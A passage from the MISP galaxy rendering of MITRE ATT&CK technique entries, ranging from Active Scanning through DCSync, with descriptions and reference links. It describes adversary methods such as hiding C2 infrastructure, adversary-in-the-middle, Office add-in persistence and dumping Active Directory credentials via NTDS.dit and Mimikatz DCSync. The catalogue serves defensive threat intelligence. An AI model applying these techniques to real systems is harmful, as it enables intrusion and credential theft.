Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Active Scanning - T1595"*

Table 9018. Table References

Links
https://attack.mitre.org/techniques/T1595
https://wiki.owasp.org/index.php/OAT-004_Fingerprinting
https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf

Hide Infrastructure - T1665

Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.

C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)

Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)

Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)

The tag is: *misp-galaxy:mitre-attack-pattern="Hide Infrastructure - T1665"*

Table 9019. Table References

Links
https://attack.mitre.org/techniques/T1665
https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/
https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/
https://github.com/spyboy-productions/Facad1ng
https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/
https://www.orangecyberdefense.com/global/blog/research/residential-proxies
https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates
https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader

Financial Theft - T1657

Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)

Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)

Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-

leaks)

Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)

The tag is: *misp-galaxy:mitre-attack-pattern="Financial Theft - T1657"*

Table 9020. Table References

Links
https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2
https://attack.mitre.org/techniques/T1657
https://www.bbc.com/news/technology-60933174
https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf
<a href="https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/<mark>:_{:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers.">https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/</mark>:}:text=Vendor%20email%20compromise%2C%20also%20referred
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view
https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf
https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and
https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs
https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html
https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/

Compromise Accounts - T1586

Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying

employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586"*

Table 9021. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1586
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

Dynamic Resolution - T1568

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568"*

Table 9022. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
https://attack.mitre.org/techniques/T1568
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Content Injection - T1659

Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)

Adversaries may inject content to victim systems in various ways, including:

- From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)
- From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)

Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)

The tag is: *misp-galaxy:mitre-attack-pattern="Content Injection - T1659"*

Table 9023. Table References

Links
https://attack.mitre.org/techniques/T1659
https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/
https://usa.kaspersky.com/blog/man-on-the-side/27854/
https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

System Services - T1569

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or

Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.

The tag is: *misp-galaxy:mitre-attack-pattern="System Services - T1569"*

Table 9024. Table References

Links
https://attack.mitre.org/techniques/T1569

Develop Capabilities - T1587

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

The tag is: *misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587"*

Table 9025. Table References

Links
https://attack.mitre.org/techniques/T1587
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Obtain Capabilities - T1588

Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588"*

Table 9026. Table References

Links
https://attack.mitre.org/techniques/T1588
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
https://www.recordedfuture.com/research/cobalt-strike-servers
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Email Bombing - T1667

Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.(Citation: sophos-bombing)(Citation: krebs-email-bombing)

An adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim’s inbox.(Citation: krebs-email-bombing)(Citation: hhs-email-bombing)

By sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams.(Citation: hhs-email-bombing) This behavior can also be used as a tool of harassment.(Citation: krebs-email-bombing)

This behavior may be a precursor for [Spearphishing Voice](https://attack.mitre.org/techniques/T1566/004). For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of [Remote Access Software](https://attack.mitre.org/techniques/T1663) to steal credentials, deploy ransomware,

conduct [Financial Theft](https://attack.mitre.org/techniques/T1657)(Citation: sophos-bombing), or engage in other malicious activity.(Citation: rapid7-email-bombing)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Bombing - T1667"*

Table 9027. Table References

Links
https://attack.mitre.org/techniques/T1667
https://krebsonsecurity.com/2016/08/massive-email-bombs-target-gov-addresses/
https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/
https://www.hhs.gov/sites/default/files/email-bombing-sector-alert-tlpclear.pdf
https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators

Linked Devices - T1676

Adversaries may abuse the “linked devices” feature on messaging applications, such as Signal and WhatsApp, to register the user’s account to an adversary-controlled device. By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.

Signal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.(Citation: WhatsApp_LinkDevice_NoDate)(Citation: Signal_LinkedDevices_NoDate)

Adversaries may use [Phishing](https://attack.mitre.org/techniques/T1660) techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. Upon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.

The tag is: *misp-galaxy:mitre-attack-pattern="Linked Devices - T1676"*

Table 9028. Table References

Links
https://attack.mitre.org/techniques/T1676
https://faq.whatsapp.com/1317564962315842/?helpref=faq_content&cms_platform=web

https://support.signal.org/hc/en-us/articles/360007320551-Linked-Devices

Exclusive Control - T1668

Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system.

For example, adversaries may patch a vulnerable, compromised system(Citation: Mandiant-iab-control)(Citation: CERT AT Fortinent Ransomware 2025) to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services(Citation: sophos-multiple-attackers), stripping privileges from accounts(Citation: aquasec-postgres-processes), or removing other malware already on the compromised device.(Citation: fsecure-netsky)

Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of [Resource Hijacking](https://attack.mitre.org/techniques/T1496), leveraging a compromised device’s full power allows the threat actor to maximize profit.(Citation: sophos-multiple-attackers)

The tag is: *misp-galaxy:mitre-attack-pattern="Exclusive Control - T1668"*

Table 9029. Table References

Links
https://attack.mitre.org/techniques/T1668
https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect
<a href="https://news.sophos.com/en-us/2022/08/09/multiple-attackers-increase-pressure-on-victims-complicate-incident-response/<mark>:_{:text=While%20some%20threat%20actors%20are%20interdependent%20%28e.g.%2C%20IABs,vulnerabilities%20or%20disabling%20vulnerable%20services%20after%20gaining%20access">https://news.sophos.com/en-us/2022/08/09/multiple-attackers-increase-pressure-on-victims-complicate-incident-response/</mark>:}:text=While%20some%20threat%20actors%20are%20interdependent%20%28e.g.%2C%20IABs
https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/
https://www.cert.at/de/warnungen/2025/3/ransomware-gruppen-nutzen-weiterhin-kritische-fortinet-schwachstellen-warnung-vor-gepatchten-aber-bereits-kompromittierten-geraten
https://www.f-secure.com/v-descs/netsky-h.shtml

Delay Execution - T1678

Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems.

Adversaries may utilize programmatic `sleep` commands or native system scheduling functionality, for example [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053). Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as `ping`, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

The tag is: *misp-galaxy:mitre-attack-pattern="Delay Execution - T1678"*

Table 9030. Table References

Links
https://attack.mitre.org/techniques/T1678
https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
https://www.joesecurity.org/blog/3660886847485093803
https://www.joesecurity.org/blog/498839998833561473
https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique

Selective Exclusion - T1679

Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)

Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice.

Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.

The tag is: *misp-galaxy:mitre-attack-pattern="Selective Exclusion - T1679"*

Table 9031. Table References

Links
https://attack.mitre.org/techniques/T1679
https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/

Adversary-in-the-Middle - T1638

Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642).

[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1638) can be achieved through several mechanisms. For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic.

```
Specific to Android devices, adversary-in-the-disk is a type of AiTM attack where
adversaries monitor and manipulate data that is exchanged between applications and
external storage.(Citation: mitd_kaspersky)(Citation: mitd_checkpoint)(Citation:
mitd_checkpoint_research) To accomplish this, a malicious application firsts requests
for access to multimedia files on the device (`READ_EXTERNAL STORAGE` and
`WRITE_EXTERNAL_STORAGE`), then the application reads data on the device and/or writes
malware to the device. Though the request for access is common, when used maliciously,
adversaries may access files and other sensitive data due to abusing the permission.
Multiple applications were shown to be vulnerable against this attack; however,
scrutiny of permissions and input validations may mitigate this attack.
```

Outside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as [ARP Cache Poisoning](https://attack.mitre.org/techniques/T1557/002) or [DHCP Spoofing](https://attack.mitre.org/techniques/T1557/003).

If applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple's Application Transport Security (ATS) and Android's Network Security Configuration (NSC) may prevent sensitive data leaks.(Citation: NSC_Android)

The tag is: *misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1638"*

Table 9032. Table References

Links
https://attack.mitre.org/techniques/T1638

https://blog.checkpoint.com/security/man-in-the-disk-a-new-attack-surface-for-android-apps/
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-8.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-12.html
https://research.checkpoint.com/androids-man-in-the-disk/
https://usa.kaspersky.com/blog/man-in-the-disk/16089/
https://www.nowsecure.com/blog/2018/08/15/a-security-analysts-guide-to-network-security-configuration-in-android-p/

Adversary-in-the-Middle - T1557

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)

Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

The tag is: *misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557"*

Table 9033. Table References

Links

https://arxiv.org/abs/1809.05681
https://attack.mitre.org/techniques/T1557
https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/
https://securelist.com/ad-blocker-with-miner-included/101105/
https://tlseminar.github.io/downgrade-attacks/
https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/
https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/

Add-ins - T1137.006

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)

Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.

The tag is: *misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006"*

Table 9034. Table References

Links
https://attack.mitre.org/techniques/T1137/006
https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique

Regsvcs/Regasm - T1218.009

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009"*

Table 9035. Table References

Links
https://attack.mitre.org/techniques/T1218/009
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx

Steganography - T1001.002

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1001.002"*

Table 9036. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001/002

NTDS - T1003.003

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members

such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy

The tag is: *misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"*

Table 9037. Table References

Links
http://adsecurity.org/?p=1275
https://attack.mitre.org/techniques/T1003/003
https://en.wikipedia.org/wiki/Active_Directory

DCSync - T1003.006

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)

DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"*

Table 9038. Table References

Links
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
